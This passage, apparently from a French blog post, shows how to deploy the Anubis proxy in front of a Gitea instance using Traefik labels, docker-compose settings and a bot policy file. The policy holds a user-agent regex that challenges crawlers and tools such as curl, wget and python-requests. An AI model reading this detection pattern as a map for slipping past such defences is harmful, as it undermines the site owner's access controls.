&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;  &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;websecure&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;address&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;443&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;  &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;anubis&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;address&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;3923&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;ajout-du-service&#34;&gt;Ajout du service&lt;/h2&gt;
&lt;p&gt;Il faut désormais ajouter le service Anubis.&lt;/p&gt;
&lt;p&gt;Dans mon cas, je le dédie à mon instance Gitea, de ce fait, je peux avoir &lt;strong&gt;plusieurs instances Anubis avec diverses configurations&lt;/strong&gt; pour protéger différents services avec des règles différentes.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;services&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;  &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;gitea-anubis&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;image&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;l&#34;&gt;ghcr.io/techarohq/anubis:latest&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;environment&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;BIND&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;:8080&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;DIFFICULTY&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;4&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;  &lt;/span&gt;&lt;span class=&#34;c&#34;&gt;# Fast successful response with most devices, 5 is way more slow&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;SERVE_ROBOTS_TXT&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;false&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;  &lt;/span&gt;&lt;span class=&#34;c&#34;&gt;# I prefer my own robots.txt from Gitea service (supposed to block every user agents)&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;TARGET&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;http://traefik:3923&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;ED25519_PRIVATE_KEY_HEX_FILE&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;/etc/private_key_hex_file&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;POLICY_FNAME&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;/etc/botPolicies.json&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;labels&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;- &lt;span class=&#34;s2&#34;&gt;&amp;#34;traefik.enable=true&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;- &lt;span class=&#34;s2&#34;&gt;&amp;#34;traefik.docker.network=traefik&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;- &lt;span class=&#34;s2&#34;&gt;&amp;#34;traefik.http.services.gitea-anubis.loadbalancer.server.port=8080&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;- &lt;span class=&#34;s2&#34;&gt;&amp;#34;traefik.http.routers.gitea-anubis.rule=Host(`git.pofilo.fr`)&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;- &lt;span class=&#34;s2&#34;&gt;&amp;#34;traefik.http.routers.gitea-anubis.entrypoints=websecure&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;        &lt;/span&gt;&lt;span class=&#34;c&#34;&gt;# TLS and security&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;- &lt;span class=&#34;s2&#34;&gt;&amp;#34;traefik.http.routers.gitea-anubis.tls=true&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;- &lt;span class=&#34;s2&#34;&gt;&amp;#34;traefik.http.routers.gitea-anubis.tls.options=intermediate@file&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;  &lt;/span&gt;&lt;span class=&#34;c&#34;&gt;# this is the conf generated with https://ssl-config.mozilla.org/&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;- &lt;span class=&#34;s2&#34;&gt;&amp;#34;traefik.http.routers.gitea-anubis.middlewares=nocsp-headers@file&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;  &lt;/span&gt;&lt;span class=&#34;c&#34;&gt;# this is the conf I used for headers&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;21&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;networks&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;22&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;- &lt;span class=&#34;l&#34;&gt;traefik&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;23&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;volumes&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;24&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;- &lt;span class=&#34;l&#34;&gt;../path/to/private_key_hex_file:/etc/private_key_hex_file:ro&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;25&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;- &lt;span class=&#34;l&#34;&gt;../path/to/botPolicies.json:/etc/botPolicies.json:ro&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;26&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;networks&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;27&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;l&#34;&gt;traefik&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;external&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;kc&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Du côté de mon service Gitea, je remplace &lt;code&gt;- &amp;quot;traefik.http.routers.gitea.entrypoints=websecure&amp;quot;&lt;/code&gt; par &lt;code&gt;- &amp;quot;traefik.http.routers.gitea.entrypoints=anubis&amp;quot;&lt;/code&gt;.
Il faut également que je retire ce genre de lignes (tout est désormais géré par le routeur dédié au service Anubis):&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;# TLS and security&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;- &lt;span class=&#34;s2&#34;&gt;&amp;#34;traefik.http.routers.gitea.tls=true&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;- &lt;span class=&#34;s2&#34;&gt;&amp;#34;traefik.http.routers.gitea.tls.options=intermediate@file&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;- &lt;span class=&#34;s2&#34;&gt;&amp;#34;traefik.http.routers.gitea.middlewares=nocsp-headers@file&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Concernant:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;L&amp;rsquo;image Docker: personnellement je fixe les versions et j&amp;rsquo;utilise mon propre registre d&amp;rsquo;images.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ED25519_PRIVATE_KEY_HEX_FILE&lt;/code&gt;: ça permet de ne pas re-challenger les clients si je redémarre l&amp;rsquo;instance d&amp;rsquo;Anubis (le cookie expire tout de même après 1 semaine).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;POLICY_FNAME&lt;/code&gt;: je vais en parler dans le prochain paragraphe.&lt;/li&gt;
&lt;li&gt;Pour le reste, je ne rentre pas trop dans les détails, chacun a différents besoin et j&amp;rsquo;ai donc essayé de rester suffisament générique.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Par exemple, si on ne veut qu&amp;rsquo;une seule instance d&amp;rsquo;Anubis, pour matcher toutes les règles (et jouer sur les priorités), on pourrait utiliser une règle du type:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;- &lt;span class=&#34;l&#34;&gt;traefik.http.routers.anubis.rule=PathRegexp(`.*`)&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;le-fichier-de-conf-des-policies&#34;&gt;Le fichier de conf des &amp;ldquo;policies&amp;rdquo;&lt;/h2&gt;
&lt;p&gt;La version par défaut est &lt;a href=&#34;https://github.com/TecharoHQ/anubis/blob/main/data/botPolicies.json&#34;&gt;trouvable ici&lt;/a&gt; et la &lt;a href=&#34;https://anubis.techaro.lol/docs/admin/policies&#34;&gt;documentation ici&lt;/a&gt;.
Personnellement, je suis parti du principe que:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Mon fichier &lt;code&gt;robots.txt&lt;/code&gt; est censé bloqué tout type de bots.&lt;/li&gt;
&lt;li&gt;Je n&amp;rsquo;en ai rien à carrer de donner à manger à des IA, et encore moins quand je leur interdis déjà explicitement.&lt;/li&gt;
&lt;li&gt;J&amp;rsquo;ai déjà perdu trop de temps avec ces problèmes, donc on va au plus simple et surtout plus efficace.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Au final, j&amp;rsquo;&lt;strong&gt;interdis globalement tout ce qui ressemble à un bot/crawler&lt;/strong&gt; et je &lt;strong&gt;force le challenge à tout les autres&lt;/strong&gt; (sauf pour l&amp;rsquo;accès au fichier &lt;code&gt;robots.txt&lt;/code&gt; pour ceux qui le respectent encore).&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nt&#34;&gt;&amp;#34;bots&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nt&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;robots-txt&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nt&#34;&gt;&amp;#34;path_regex&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;^/robots.txt$&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nt&#34;&gt;&amp;#34;action&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;ALLOW&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nt&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;internal-traffic&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nt&#34;&gt;&amp;#34;remote_addresses&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;10.0.0.0/8&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;172.16.0.0/12&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;192.168.0.0/16&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nt&#34;&gt;&amp;#34;action&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;ALLOW&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nt&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;generic-challenging&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nt&#34;&gt;&amp;#34;user_agent_regex&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;(?i)(bot|spider|crawl|fetch|scrapy|wget|curl|python-requests|libwww|Java|Go-http-client)&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nt&#34;&gt;&amp;#34;action&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;CHALLENGE&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nt&#34;&gt;&amp;#34;challenge&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
